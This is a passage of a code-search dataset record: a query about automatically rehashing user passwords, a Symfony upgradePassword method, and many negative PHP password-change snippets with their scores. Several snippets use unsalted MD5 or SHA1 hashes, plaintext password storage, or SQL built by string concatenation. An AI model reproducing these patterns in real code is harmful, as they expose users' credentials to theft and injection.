asort($themes);\n }\n return $themes;\n */\n return array('advanced', 'simple');\n}", "function getTemplateFiles() // used in admin_configuration.php\r\n\r\n{\r\n\r\n\t$directory = \"models/site-templates/\";\r\n\r\n\t$languages = glob($directory . \"*.css\");\r\n\r\n\t//print each file name\r\n\r\n\treturn $languages;\r\n\r\n}", "function client_portal_get_theme_colors_gutenberg() {\n\n\t// Grab our ACF theme colors.\n\t$colors = client_portal_get_theme_colors();\n\n\tif ( ! $colors ) {\n\t\treturn array();\n\t}\n\n\tforeach ( $colors as $key => $color ) {\n\t\t$gutenberg_colors[] = array(\n\t\t\t'name' => esc_html( $key ),\n\t\t\t'slug' => sanitize_title( $key ),\n\t\t\t'color' => esc_attr( $color ),\n\t\t);\n\t}\n\n\treturn $gutenberg_colors;\n}", "static function bad_themes_results() {\n\n\t\t$return = array();\n\t\t$request = remote_get_json( 'https://varnish-http-purge.objects-us-east-1.dream.io/themes.json' );\n\n\t\tif( is_wp_error( $request ) ) {\n\t\t\treturn $return; // Bail early\n\t\t}\n\n\t\t$body = wp_remote_retrieve_body( $request );\n\t\t$themes = json_decode( $body );\n\n\t\tif( empty( $themes ) ) {\n\t\t\treturn $return; // Bail early\n\t\t}\n\n\t\t// Check all the themes. If one of the questionable ones are active, warn\n\t\tforeach ( $themes as $theme => $info ) {\n\t\t\t$my_theme = wp_get_theme( $theme );\n\t\t\t$message = 'Active Theme ' . ucfirst( $theme ) . ': ' . $info->message;\n\t\t\t$warning = $info->type;\n\t\t\tif ( $my_theme->exists() ) {\n\t\t\t\t$return[ 'theme' ] = array( 'icon' => $warning, 'message' => $message );\n\t\t\t}\n\t\t}\n\n\t\treturn $return;\n\t}", "function ac_skin_get_theme_skin_items(){\n $settings = &drupal_static(__FUNCTION__, null);\n if (!isset($settings)) {\n\tacquia_include('theme');\n\t$settings = acquia_theme_discovery('skin', variable_get('ACQUIA_BASE_THEME'), 'skin_info');\n }\n return $settings;\n}", "public function get_theme_info(){\n\t\treturn (array)$this->theme_info;\n\t}", "function get_broken_themes()\n {\n }", "public function get_gallery_themes() {\n\n $instance = Envira_Gallery_Common::get_instance();\n return $instance->get_gallery_themes();\n\n }" ]
[ "0.76157576", "0.7605128", "0.74128324", "0.7378275", "0.7374769", "0.73690134", "0.73346126", "0.7320223", "0.73143464", "0.72204834", "0.7198906", "0.7191098", "0.7150453", "0.7113567", "0.710315", "0.7091838", "0.7044176", "0.70166206", "0.70057607", "0.69694394", "0.6935525", "0.6921422", "0.6908709", "0.68724805", "0.68179667", "0.680982", "0.6778358", "0.6708671", "0.6703035", "0.66919285", "0.6674076", "0.6637949", "0.65895253", "0.65730655", "0.65648323", "0.6553456", "0.6531759", "0.65041035", "0.6479966", "0.6479095", "0.64762706", "0.64395285", "0.6427584", "0.64245784", "0.6417111", "0.64155746", "0.63985914", "0.6391374", "0.63561934", "0.63255984", "0.6322987", "0.631012", "0.6309187", "0.6296508", "0.62858635", "0.6283665", "0.62832254", "0.62596846", "0.6256336", "0.62525654", "0.62506694", "0.62407845", "0.6236385", "0.62087625", "0.61853784", "0.61713034", "0.61587393", "0.6145895", "0.613169", "0.61283535", "0.6126698", "0.6119335", "0.6113043", "0.61116713", "0.61079705", "0.6084972", "0.6082986", "0.60810304", "0.606942", "0.60467345", "0.603246", "0.6024968", "0.60136276", "0.5984947", "0.59774125", "0.59745824", "0.59678733", "0.5959803", "0.594572", "0.59339947", "0.5928573", "0.5927322", "0.5922179", "0.592026", "0.59126914", "0.59096235", "0.58945876", "0.589444", "0.5881236", "0.5880525" ]
0.6957138
20
Used to upgrade (rehash) the user's password automatically over time.
public function upgradePassword(UserInterface $user, string $newEncodedPassword): void { if (!$user instanceof User) { throw new UnsupportedUserException(sprintf('Instances of "%s" are not supported.', \get_class($user))); } $user->setPassword($newEncodedPassword); $this->_em->persist($user); $this->_em->flush(); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "function update_password()\n {\n }", "protected function changePassword() {}", "public function userPasswordUpdate() {\n $password = Hash::make($this->request->input(\"new_password\"));\n $updateArray = [\n \"password\" => $password\n ];\n $whereArray = [\n [\"user_id\", '=', $this->request->input(\"user_id\")]\n ];\n $this->usersModel->setTableName(\"cvd_users\");\n $this->usersModel->setInsertUpdateData($updateArray);\n $this->usersModel->setWhere($whereArray);\n $this->usersModel->updateData();\n }", "function password_update($password) {\n\t\t$hash = hash_password($password);\n\t\tlgi_mysql_query(\"UPDATE %t(users) SET `passwd_hash`='%%' WHERE `name`='%%'\",$hash, $this->userid);\n\t}", "public function changeUserPassword($uid,$newPassword);", "private function setEncryptPassword(){\n // Encode the new users password\n $encrpyt = $this->get('security.password_encoder');\n $password = $encrpyt->encodePassword($this->user, $this->user->getPassword());\n $this->user->setPassword($password);\n }", "protected function _updatePassword() {\n\t\tif(!check($this->_userid)) return;\n\t\tif(!check($this->_username)) return;\n\t\tif(!check($this->_newPassword)) return;\n\t\tif($this->_md5Enabled) {\n\t\t\t$data = array(\n\t\t\t\t'userid' => $this->_userid,\n\t\t\t\t'username' => $this->_username,\n\t\t\t\t'newpassword' => $this->_newPassword\n\t\t\t);\n\t\t\t$query = \"UPDATE \"._TBL_MI_.\" SET \"._CLMN_PASSWD_.\" = [dbo].[fn_md5](:newpassword, :username) WHERE \"._CLMN_MEMBID_.\" = :userid\";\n\t\t} else {\n\t\t\t$data = array(\n\t\t\t\t'userid' => $this->_userid,\n\t\t\t\t'newpassword' => $this->_newPassword\n\t\t\t);\n\t\t\t$query = \"UPDATE \"._TBL_MI_.\" SET \"._CLMN_PASSWD_.\" = :newpassword WHERE \"._CLMN_MEMBID_.\" = :userid\";\n\t\t}\n\t\t\n\t\t$result = $this->db->query($query, $data);\n\t\tif(!$result) return;\n\t\t\n\t\treturn true;\n\t}", "function change_pwd_update_register(){\n\t\tglobal $CFG;\n\t\t$old_password = $this->My_addslashes(md5($_POST[\"old_password\"]));\n\t\t \n\t\t$new_password = md5($_POST[\"new_password\"]);\n\t \n\t\tif($this->chkPasswordInAdmin($old_password,$_SESSION['adminid'])){\n\t\t\t\t$UpQuery = \"UPDATE \".$CFG['table']['admin'].\" SET password = '\".$this->filterInput($new_password).\"' WHERE admin_id = \". $this->filterInput($_SESSION['adminid']);\n\t\t\t\t$UpResult = mysql_query($UpQuery) or die($this->mysql_error($UpQuery));\n\t\t\t}\n\t\telse{\t\n\t\t\techo \"Invalid_Old_Pwd\";\t\t\t\n\t\t\texit();\n\t\t\t}\n\t}", "function change_passwd($Username, $old_Password, $new_Password){\n $new_Password = encrypt_pwd($new_Password);\n $SQL = \"UPDATE User SET Password = '$new_Password' WHERE Username='$Username'\";\n mysqli_query($this->db_link, $SQL);\n }", "public function setPassword() {\n if ($this->Password) {\n $this->Password = \\app\\components\\Utilities::setHashedValue($this->Password);\n }\n }", "public function updatePassword(UserInterface $user);", "function mysql_auth_change_password($username,$password)\n{\n $encrypted = crypt($password,'$1$' . strgen(8).'$');\n return dbUpdate(array('password' => $encrypted), 'users', '`username` = ?', array($username));\n}", "public function testUpdatePasswordNotGiven(): void { }", "function regiomino_user_change_password($account, $password) {\r\n\t//watchdog('pwdaction', '@password', array('@password' => $password));\r\n $edit['pass'] = $password;\r\n user_save($account, $edit);\r\n}", "public function updatePwdHashIfNeeded(string $sPassword, string $sUserPasswordHash, string $sEmail): void;", "public function setPassword($newPassword);", "public function changePassword(User $user, string $newPassword): void;", "function setPasswordUpdatedTime(){\n\t\t$this->setPasswordUpdated(time());\n\t}", "public function updatePassword(ExtendedUserInterface $user);", "function updatePassword(){\n\t\tglobal $recoverPasswordInputs, $pdo;\n\t\t$newPass = createNewPassword();\n\t\t$updatePassword = $pdo->prepare('UPDATE `USER` SET `hash` = :newHash WHERE email = :email AND firstName = :firstName AND lastName = :lastName');\n\t\t$updatePassword->bindValue(':newHash', md5($newPass));\n\t\t$updatePassword->bindValue(':email', $recoverPasswordInputs['email']);\n\t\t$updatePassword->bindValue(':firstName', $recoverPasswordInputs['fname']);\n\t\t$updatePassword->bindValue(':lastName', $recoverPasswordInputs['lname']);\n\t\t$updatePassword->execute();\n\t\treturn $newPass;\n\t}", "public function setpassword(){\n\t\t$args = $this->getArgs();\n\t\t$out = $this->getModel()->getUserDataByRenewToken(UserController::getRenewTokenHash($args[\"GET\"][\"token\"]));\n\t\tinclude 'gui/template/UserTemplate.php';\n\t}", "function wp_set_password( $password, $user_id ) {\n\t\tglobal $wpdb;\n\n\t\t$hash = wp_hash_password( $password );\n\n\t\t$wpdb->update(\n\t\t\t$wpdb->users,\n\t\t\t[\n\t\t\t\t'user_pass' => $hash,\n\t\t\t\t'user_activation_key' => '',\n\t\t\t],\n\t\t\t[\n\t\t\t\t'ID' => $user_id,\n\t\t\t]\n\t\t);\n\n\t\twp_cache_delete( $user_id, 'users' );\n\n\t\treturn $hash;\n\t}", "protected function changePassword()\n {\n if (empty($this->password)) {\n return;\n }\n $this->validateOnly('password', ['password' => 'min:8|confirmed']);\n $this->user->update([\n 'password' => Hash::make($this->password),\n ]);\n $this->password = null;\n $this->password_confirmation = null;\n }", "public function modifpassword($user,$passwd){\n \n }", "public function activatenewpasswordAction()\n {\n $newKey = $this->getRequest()->getParam(self::ACTIVATION_KEY_PARAMNAME, null);\n $userId = $this->getRequest()->getParam(User::COLUMN_USERID, null);\n\n $user = $this->_getUserFromIdAndKey($userId, $newKey);\n if(!$user){\n Globals::getLogger()->info(\"New password activation: user retrieval failed - userId=$userId, key=$newKey\", Zend_Log::INFO );\n $this->_helper->redirectToRoute('usererror',array('errorCode'=>User::NO_SUCH_USER));\n }\n\n $user->{User::COLUMN_PASSWORD} = $user->newPassword;\n $user->newPassword = '';\n $user->activationKey = '';\n\n $id = $user->save();\n if($id != $user->{User::COLUMN_USERID}){\n $this->_helper->redirectToRoute('usererror',array('errorCode'=>User::NEWPASSWORD_ACTIVATION_FAILED));\n }\n\n Utils::deleteCookie(User::COOKIE_MD5);\n Utils::deleteCookie(User::COOKIE_USERNAME);\n Utils::deleteCookie(User::COOKIE_REMEMBER);\n\n $this->_savePendingUserIdentity($userId);\n\n $this->_helper->redirectToRoute('userupdate',array('newPassword'=>true));\n }", "function reset_user_passwd($user_id) {\r\n\r\n //set the new password\r\n $new_passwd = \"newpasswod\";\r\n \r\n if ($new_passwd == false) {\r\n throw new Exception ('Could not generate the new password.');\r\n }\r\n \r\n //add numbers to the new passwd to increase the securtiy\r\n $rand_number = rand(0, 999);\r\n $new_passwd . $rand_number;\r\n \r\n //update the new passwd with db\r\n $conn = db_connect();\r\n\r\n $result = $conn->query(\"update users set user_passwd = sha1('\".$new_passwd.\"') where user_id = '\".$user_id.\"'\");\r\n if (!$result) {\r\n throw new Exception ('Could not reset the password.');\r\n }\r\n else {\r\n return true; \r\n }\r\n\r\n }", "function user_update_password($user, $newpassword) {\n $user = get_complete_user_data('id', $user->id);\n // This will also update the stored hash to the latest algorithm\n // if the existing hash is using an out-of-date algorithm (or the\n // legacy md5 algorithm).\n return update_internal_user_password($user, $newpassword);\n }", "protected function hashPassword() {\n\t\t$this->password = Password::hash($this->password);\n\t}", "Public Function changePassword($NewPassword)\n\t{\n\t\t$this->_db->exec(\"UPDATE bevomedia_user SET Password = md5('$NewPassword') WHERE ID = $this->id\");\n\t}", "function changePassword( $name, $pw ) {\n $d = loadDB();\n \n $found = false;\n foreach ($d['users'] as &$user) {\n if ($name == $user['name'] || $name == $user['email']) {\n $user[\"password\"] = $pw;\n saveDB( $d );\n $found = true;\n break;\n }\n }\n if (!$found)\n return FALSE;\n audit( \"changePassword done\", $name );\n return TRUE;\n }", "function user_changed_password($user_id, $new_password) {\n \n }", "public function Change_user_password() {\n\t\t$this->load->helper('pass');\n\t\t$user = $this->administration->getMyUser($this->user_id);\n\t\t//password\n\t\t$old_pass = $this->input->post('oldPassword');\n\t\t$newPass = $this->input->post('newPassword');\n\t\t$confirmNewPass = $this->input->post('confirmNewPassword');\n\t\tif($newPass == $confirmNewPass) {\n\t\t\t//check if old password is corrent\n\t\t\t$verify = $this->members->validateUser($user->Username,$old_pass);\n\t\t\tif($verify) {\n\t\t\t\t//validate if the password is in the correct format\n\t\t\t\t$valid_new_pass = checkPasswordCharacters($newPass);\n\t\t\t\tif($valid_new_pass) {\n\t\t\t\t\t$change_pass = $this->members->simple_pass_change($user->ID,$newPass);\n\t\t\t\t\tif($change_pass) {\n\t\t\t\t\t\techo '1';\n\t\t\t\t\t}else {\n\t\t\t\t\t\techo '6';\t\n\t\t\t\t\t}\n\t\t\t\t}else {\n\t\t\t\t\techo '7';\t\n\t\t\t\t}\n\t\t\t}else {\n\t\t\t\techo '8';\t\n\t\t\t}\n\t\t}else {\n\t\t\techo '9';\t\n\t\t}\n\t}", "function save_psw_hash( $user, $pass = '' ) { \n\t\tglobal $wpdb;\n\n\t\tif ( !isset($user->ID) ) return;\n\n\t\tif ( !isset( $user->user_pass ) ) return;\n\n\t\t$oh = get_user_meta( $user->ID, 'll_old_hashes', true);\n\n\t\t$oh[] = wp_hash_password( $user->user_pass ); // cleartext, so hash it\n\n\t\t$c = count($oh); \n\n\t\tif ( $c > 5 ) { \n\t\t\t$removed = array_splice($oh, 0, ($c - 5) );\n\t\t}\n\n\t\tupdate_user_meta( $user->ID, 'll_old_hashes', $oh );\n update_user_meta( $user->ID, 'll_password_changed_date', time() );\n\n\t}", "public function setPassword($newPassword){\n\t}", "function hashPassword()\t{\n\t\t$fields = $this->_settings['fields'];\n\t\tif (!isset($this->model->data[$this->model->name][$fields['username']])) {\n\t\t\t$this->model->data[$this->model->name][$fields['password']] = Security::hash($this->model->data[$this->model->name][$fields['password']], null, true);\n\t\t}\n\t}", "public function changePassword($username, $password);", "function update_password($new_pass, $pivot, $data_from_pivot)\n{\n global $DB_connect;\n $new_pass = password_hash($new_pass, PASSWORD_DEFAULT);\n\n $statement = $DB_connect->prepare(\"UPDATE db.user set password = :password WHERE \" . $pivot . \" = :data_from_pivot\");\n $statement->execute(['password' => $new_pass, 'data_from_pivot' => $data_from_pivot]);\n}", "public function updatePassword()\n {\n $user = User::find(Database::connection(), $_SESSION['id']);\n\n // Update password\n return $user->updatePassword(Database::connection(), $_POST['password']);\n }", "public function updatePassword($password)\n {\n $this->password = password_hash($password, PASSWORD_DEFAULT);\n }", "function update_forgot_password($user, $token, $expires);", "function update_paypassword()\n {\n }", "function force_user_password_change_now() { \n\t\tglobal $wpdb;\n\n\t\t$sql = 'select ID, user_login, user_email from '.$wpdb->users;\n\n\t\t$res = $wpdb->get_results($sql, ARRAY_A);\n\n\t\tif (!$res) return; // this condition would be weird eh? \n\n\t\t$msgs = array();\n\n\t\tforeach ( $res as $u ) { \n\n\t\t\t$rand_psw = wp_hash_password( wp_generate_password(16) );\n\t\t\twp_set_password( $rand_psw, $u['ID'] );\n\t\t\tupdate_user_meta( $u, 'll_force_password_change_now', 1 );\n\n\t\t\t// Generate something random for a key...\n\t\t\t$key = wp_generate_password(20, false);\n\t\t\tdo_action('retrieve_password_key', $u['user_login'], $key);\n\t\t\t// Now insert the new md5 key into the db\n\t\t\t$wpdb->update($wpdb->users, array('user_activation_key' => $key), array('user_login' => $u['user_login']));\n\n\t\t\t$res = $this->ll_alert_user( $u['user_login'], $u['user_email'], $key );\n\n\t\t\tif ( '' != $res ) \n\t\t\t $msgs[] = $res; \n\t\t}\n\n\t\treturn $msgs; \n\n\t}", "public function update(){\n\t\t$sql = \"update user set pass='\".$this->pass.\"' where id='\".$this->id.\"'\";\n\t\treturn\tExecutor::doit($sql);\n\t}", "public function change(string $password): void;", "public function changePassword()\n {\n $this->validateOnly('password', [\n 'password' => 'bail|nullable|required_with:password_confirmation|string|confirmed',\n 'current_password' => 'bail|required',\n ]);\n\n if (!Hash::check($this->current_password, $this->user->password)) {\n $this->addError('current_password', 'Your current password is incorrect.');\n return;\n }\n\n $this->user->password = bcrypt($this->password);\n $this->user->save();\n $this->toast('Password has been changed!', 'success');\n $this->emit('password-updated');\n $this->reset(['password', 'password_confirmation', 'current_password']);\n }", "function ciniki_users_changePassword($ciniki) {\n //\n // Find all the required and optional arguments\n //\n ciniki_core_loadMethod($ciniki, 'ciniki', 'core', 'private', 'dbQuote');\n ciniki_core_loadMethod($ciniki, 'ciniki', 'core', 'private', 'prepareArgs');\n $rc = ciniki_core_prepareArgs($ciniki, 'no', array(\n 'oldpassword'=>array('required'=>'yes', 'blank'=>'no', 'name'=>'Old Password'), \n 'newpassword'=>array('required'=>'yes', 'blank'=>'no', 'name'=>'New Password'), \n ));\n if( $rc['stat'] != 'ok' ) {\n return $rc;\n }\n $args = $rc['args'];\n \n if( strlen($args['newpassword']) < 8 ) {\n return array('stat'=>'fail', 'err'=>array('code'=>'ciniki.users.20', 'msg'=>'New password must be longer than 8 characters.'));\n }\n\n //\n // Check access \n //\n ciniki_core_loadMethod($ciniki, 'ciniki', 'users', 'private', 'checkAccess');\n $rc = ciniki_users_checkAccess($ciniki, 0, 'ciniki.users.changePassword', 0);\n if( $rc['stat'] != 'ok' ) {\n return $rc;\n }\n\n //\n // Check old password\n //\n $strsql = \"SELECT id, email FROM ciniki_users \"\n . \"WHERE id = '\" . ciniki_core_dbQuote($ciniki, $ciniki['session']['user']['id']) . \"' \"\n . \"AND password = SHA1('\" . ciniki_core_dbQuote($ciniki, $args['oldpassword']) . \"') \";\n ciniki_core_loadMethod($ciniki, 'ciniki', 'core', 'private', 'dbHashQuery');\n $rc = ciniki_core_dbHashQuery($ciniki, $strsql, 'ciniki.users', 'user');\n if( $rc['stat'] != 'ok' ) {\n return $rc;\n }\n\n //\n // Perform an extra check to make sure only 1 row was found, other return error\n //\n if( $rc['num_rows'] != 1 ) {\n return array('stat'=>'fail', 'err'=>array('code'=>'ciniki.users.21', 'msg'=>'Invalid old password'));\n }\n\n //\n // Turn off autocommit\n //\n ciniki_core_loadMethod($ciniki, 'ciniki', 'core', 'private', 'dbTransactionStart');\n ciniki_core_loadMethod($ciniki, 'ciniki', 'core', 'private', 'dbTransactionRollback');\n ciniki_core_loadMethod($ciniki, 'ciniki', 'core', 'private', 'dbTransactionCommit');\n $rc = ciniki_core_dbTransactionStart($ciniki, 'ciniki.users');\n if( $rc['stat'] != 'ok' ) {\n return $rc;\n }\n\n //\n // Update the password, but only if the old one matches\n //\n $strsql = \"UPDATE ciniki_users SET password = SHA1('\" . ciniki_core_dbQuote($ciniki, $args['newpassword']) . \"'), \"\n . \"last_updated = UTC_TIMESTAMP(), \"\n . \"last_pwd_change = UTC_TIMESTAMP() \"\n . \"WHERE id = '\" . ciniki_core_dbQuote($ciniki, $ciniki['session']['user']['id']) . \"' \"\n . \"AND password = SHA1('\" . ciniki_core_dbQuote($ciniki, $args['oldpassword']) . \"') \";\n ciniki_core_loadMethod($ciniki, 'ciniki', 'core', 'private', 'dbUpdate');\n $rc = ciniki_core_dbUpdate($ciniki, $strsql, 'ciniki.users');\n if( $rc['stat'] != 'ok' ) {\n ciniki_core_dbTransactionRollback($ciniki, 'ciniki.users');\n return array('stat'=>'fail', 'err'=>array('code'=>'ciniki.users.22', 'msg'=>'Unable to update password.'));\n }\n\n if( $rc['num_affected_rows'] < 1 ) {\n ciniki_core_dbTransactionRollback($ciniki, 'ciniki.users');\n return array('stat'=>'fail', 'err'=>array('code'=>'ciniki.users.23', 'msg'=>'Unable to change password.'));\n }\n\n $rc = ciniki_core_dbTransactionCommit($ciniki, 'ciniki.users');\n if( $rc['stat'] != 'ok' ) {\n return array('stat'=>'fail', 'err'=>array('code'=>'ciniki.users.24', 'msg'=>'Unable to update password.'));\n }\n\n return array('stat'=>'ok');\n}", "function changeUserPassword($user_id, $password){\n $md5_password = md5($password);\n sqlQuery(\"UPDATE users SET user_password='$md5_password' WHERE user_id='$user_id'\");\n}", "public function autoUpdatePassword(int $userId, string $password): void\n {\n $user = $this->get($userId, ['fields' => ['id', 'password']]);\n $oldPassword = $user->get('password');\n $needsRehash = $this->getPasswordHasher()->needsRehash($oldPassword);\n if ($needsRehash) {\n $user->set('password', $password);\n $this->save($user);\n }\n }", "public function setPasswordAttribute($old){\n $this->attributes['password'] = bcrypt($old);\n }", "function reset_password($username) {\n// return the new password or false on failure\n // get a random dictionary word b/w 6 and 13 chars in length\n $new_password = get_random_word(6, 13);\n\n if($new_password == false) {\n throw new Exception('Could not generate new password.');\n }\n\n // add a number between 0 and 999 to it\n // to make it a slightly better password\n $rand_number = rand(0, 999);\n $new_password .= $rand_number;\n\n // set user's password to this in database or return false\n $conn = db_connect();\n $result = $conn->query(\"update user\n set passwd = '\".$new_password.\"'\n where username = '\".$username.\"'\");\n if (!$result) {\n throw new Exception('Could not change password.'); // not changed\n } else {\n return $new_password; // changed successfully\n }\n}", "function password_recovery()\n\t{\n\n\n\t}", "function changepass_firsttime()\n {\n $userId = $this->userInfo('user_id');\n \n $result = $this->update('user', array('password' => $this->value('password'), 'modified' => date('Y-m-d H:i:s')), \" user_id = \".$userId);\n \n if($result === TRUE)\n {\n //this will prevent user from being logged out automatically. (as it happens in old implementation)\n $_SESSION['password'] = $this->value('password');\n \n //update the patient_history table with \"password change\" action to 'complete'\n $data = array(\n 'patient_id' => $userId,\n 'action_type' => 'first time login',\n 'action' => 'password change', \n 'action_status' => 'complete',\n 'action_time' => date('Y-m-d H:i:s')\n );\n $this->insert('patient_history', $data);\n \n echo \"{success:true, message:'Password updated successfully'}\";\n }\n else\n {\n echo \"{success:false, message:'Password update failure'}\";\n }\n }", "public function setPassword(){\n\t}", "function change_password($user_id, $password)\n{\n\n $query = \"select salt, username from tblUser where user_id='$user_id' limit 1\";\n $result = mysql_query($query);\n $user = mysql_fetch_array($result);\n\n $encrypted_pass = md5(md5($password).$user['salt']);\n\n // And lastly, store the information in the database\n $query = \"UPDATE tblUser SET password='$encrypted_pass' WHERE user_id='$user_id'\";\n mysql_query ($query) or die ('Could not create user.');\n\n\t//login user\n\t$username = $user['username'];\n\t$result = user_login($username, $password);\n\n}", "function dbUpdatePassword($pass)\n {\n $this->password = $pass;\n /* Standard replace does not replace passwords */\n $args = [\n 'password%sql' => array('MD5(%s)', $this->password)\n ];\n dibi::query('UPDATE user SET ', $args, 'WHERE `id`=%i', $this->id);\n }", "function changepassword() \n\t{\n // on the action being rendered\n $this->viewData['navigationPath'] = $this->getNavigationPath('users');\n $this->viewData['hash'] =User::userid();\n // Render the action with template\n $this->renderWithTemplate('users/changepassword', 'AdminPageBaseTemplate');\n }", "function eventUpdatePassword(){\r\n\t\t$userid = util::getData(\"id\");\r\n\t\t$password1 = util::getData(\"password1\");\r\n\t\t$password2 = util::getData(\"password2\");\r\n\r\n\t\tif(!$this->canUpdateUser($userid))\r\n\t\t\treturn $this->setEventResult(false, \"You cannot update this account\");\r\n\r\n\t\t$result = dkpAccountUtil::SetOfficerAccountPassword($this->guild->id, $userid, $password1, $password2);\r\n\r\n\t\tif($result != dkpAccountUtil::UPDATE_OK)\r\n\t\t\t$this->setEventResult(false, dkpAccountUtil::GetErrorString($result));\r\n\t\telse\r\n\t\t\t$this->setEventResult(true,\"Password Changed!\");\r\n\r\n\t}", "public function updatepassword() {\n $request = Request::all();\n $rules = ['old_password' => 'required', 'password' => 'required|confirmed|min:6'];\n $v = Validator::make($request, $rules);\n if ($v->fails()) {\n return redirect()->back()->withErrors($v->errors());\n }\n $user = User::find(Auth::user()->id);\n if (!Hash::check($request['old_password'], $user->password)) {\n return redirect()->back()->withErrors([\"old_password\" => [0 => \"The old password does not match.\"]]);\n }\n\n $user->password = bcrypt($request['password']);\n $user->save();\n return redirect()->back()->with('status', 'Your password changed succesfully');\n }", "function passwordCheck($DB_LINK, $username, $password, $hash){\n\n if (password_needs_rehash($hash, PASSWORD_DEFAULT)){ //si necesita aplicarse otro algoritmo más seguro se le aplicará automáticamente\n $newHash = generateHash($password);\n $query2 = \"UPDATE usuarios SET Contraseña = '$newHash' WHERE Usuario = '$username'\";\n mysqli_query($DB_LINK, $query2);\n }\n if(password_verify($password, $hash)){ //comprobamos que sea la misma contraseña\n \n return true; //habremos accedido\n }\n else{\n return false;\n }\n}", "public function change_pass()\n\t{\n\t\t$form = array();\n\n\t\t$form['validation']['params'] = array('password_old', 'password', 'password_confirm');\n\n\t\t$form['submit'] = function ($params) {\n\t\t\treturn $this->_change_pass_submit();\n\n\n\t\t};\n\n\t\t$form['form'] = function () {\n\t\t\tpage_info('title', lang('title_change_pass'));\n\n\t\t\t$this->_display();\n\t\t};\n\n\t\t$this->_form($form);\n\t}", "function do_change_password($puuid, &$error, $set_force_reset=false) {\n global $_min_passwd_len;\n global $_passwd_numbers;\n global $_passwd_uperlower;\n global $_passwd_chars;\n\n if($puuid === '') {\n $error = \"No PUUID given\";\n return false;\n }\n\n if($_REQUEST['p1'] === $_REQUEST['p2']) {\n $temparr = array();\n $p = $_REQUEST['p1'];\n\n // do strength test here\n if(strlen($p) < $_min_passwd_len) {\n $error = \"Password too short\";\n return false;\n }\n if($_passwd_numbers && !preg_match('/[0-9]/', $p)) {\n $error = \"Password must contain one or more numbers\";\n return false;\n }\n if($_passwd_uperlower && \n \t(!preg_match('/[A-Z]/', $p) || !preg_match('/[a-z]/', $p))) {\n $error = \"Password must contain both upper case and lower case\";\n return false;\n }\n if($_passwd_chars && \n \t(preg_match_all('/[A-Za-z0-9]/', $p, &$temparr) == strlen($p))) {\n $error = \"Password must contain non-alphanumeric characters\";\n return false;\n }\n\n // we got here, so update password\n $s = \"SELECT distinct passwordtype from password_types\";\n $res = pg_query($s);\n if (!$res) {\n $error = \"DB Error\";\n return false;\n }\n $hashes = pg_fetch_all($res);\n pg_free_result($res);\n\n hpcman_log(\"Updating \".count($hashes).\" password hashes for puuid \".$puuid);\n\n if (!pg_query(\"BEGIN\")) {\n $error = \"Could not begin transaction\";\n return false;\n }\n\n foreach($hashes as $hash) {\n $s = \"UPDATE passwords SET password=$1 \n\tWHERE puuid=$2 AND passwordtype=$3\";\n $passwd = hpcman_hash($hash['passwordtype'], $p);\n $result = pg_query_params($s, array($passwd, $puuid, $hash['passwordtype']));\n if (!$result) {\n $error = \"DB Error\";\n return false;\n }\n\n $acount = pg_affected_rows($result);\n\n if ($acount > 1) {\n $error = \"Error: Too many rows\";\n if(!pg_query(\"ROLLBACK\")) {\n $error .= \", rollback failed\";\n }\n return false;\n } else if ($acount < 1) {\n hpcman_log(\"Adding new password hash {$hash['passwordtype']} for $puuid\");\n $sql = \"INSERT INTO passwords (password, puuid, passwordtype) VALUES ($1,$2,$3)\";\n $result = pg_query_params($sql, array($passwd, $puuid, $hash['passwordtype']));\n if (!$result) {\n $error = \"Error: Not enough rows; insert failed\";\n if(!pg_query(\"ROLLBACK\")) {\n $error .= \", rollback failed\";\n }\n return false;\n }\n }\n }\n\n if (!pg_query(\"COMMIT\")) {\n $error = \"DB Error: Commit failed\";\n return false;\n }\n\n if($set_force_reset) {\n $sql = \"UPDATE authenticators SET mustchange='t' \n\tWHERE puuid=$1 AND authid=0\";\n if(!pg_query_params($sql, array($puuid))) {\n\t$error = \"DB Error\";\n return false;\n }\n } else {\n $sql = \"UPDATE authenticators SET mustchange='f'\n WHERE puuid=$1 AND authid=0\";\n if(!pg_query_params($sql, array($puuid))) {\n $error = \"DB Error\";\n return false;\n }\n }\n } else {\n $error = \"Passwords do not match\";\n return false;\n }\n return true;\n}", "public function clobberPassword()\n\t{\n\t\tif( empty($this->myAuthID) && empty($this->myAccountID) )\n\t\t\tthrow PasswordResetException::toss( $this, 'NO_ACCOUNT_OR_AUTH_ID' ) ;\n\t\tif( empty($this->myNewToken) )\n\t\t\tthrow PasswordResetException::toss( $this, 'REENTRY_AUTH_FAILED' ) ;\n\t\t$theAuthFilter = $this->chooseIdentifierForSearch() ;\n\t\t$theSql = SqlBuilder::withModel( $this->model )\n\t\t\t->startWith( 'UPDATE ' )->add( $this->model->tnAuth )\n\t\t\t->setParamPrefix( ' SET ' )\n\t\t\t->mustAddParam( 'pwhash',\n\t\t\t\t\tStrings::hasher( $this->getRandomCharsFromToken() ) )\n\t\t\t->startWhereClause()\n\t\t\t->mustAddParam( $theAuthFilter['col'], $theAuthFilter['val'] )\n\t\t\t->endWhereClause()\n\t\t\t;\n//\t\t$this->debugLog( $theSql->mySql ) ;\n\t\ttry { $theSql->execDML() ; }\n\t\tcatch( PDOException $pdox )\n\t\t{\n\t\t\t$this->errorLog( __METHOD__ . ': ' . $pdox->getMessage() ) ;\n\t\t\tthrow PasswordResetException::toss( $this,\n\t\t\t\t\t'DANG_PASSWORD_YOU_SCARY' ) ;\n\t\t}\n\t}", "public function updatePassword($user){\n\t\tUser::where('id', $this->id)\n\t\t\t->update([\n\t\t\t\t'password' => bcrypt($user['password']),\n\t\t\t\t'updated_by' => $this->name,\n\t\t\t\t'updated_by' => Auth::user()->name\n\t\t]);\n\t}", "public function regeneratePassword(string $email): void;", "public function change()\r\n {\r\n// var_dump($this->validate());die;\r\n if ($this->validate()) {\r\n $user = $this->_user; \r\n $user->setPassword($this->newPwd);\r\n $user->removePasswordResetToken();\r\n return $user->save(false);\r\n }\r\n \r\n return false;\r\n }", "public function password(){\r\n\r\n\t\t\t$user_info = Helper_User::get_user_by_id($this->user_id);\r\n\r\n\t\t\tif($_POST){\r\n\r\n\t\t\t\t$formdata = form_post_data(array(\"old_password\", \"new_password\", \"repeat_new_password\"));\r\n\t\t\t\t\r\n\t\t\t\t$old_password = trim($formdata[\"old_password\"]);\r\n\t\t\t\t$new_password = trim($formdata[\"new_password\"]);\r\n\t\t\t\t$repeat_new_password = trim($formdata[\"repeat_new_password\"]);\r\n\r\n\t\t\t\t$error_flag = false;\r\n\r\n\t\t\t\tif(strlen($old_password) <= 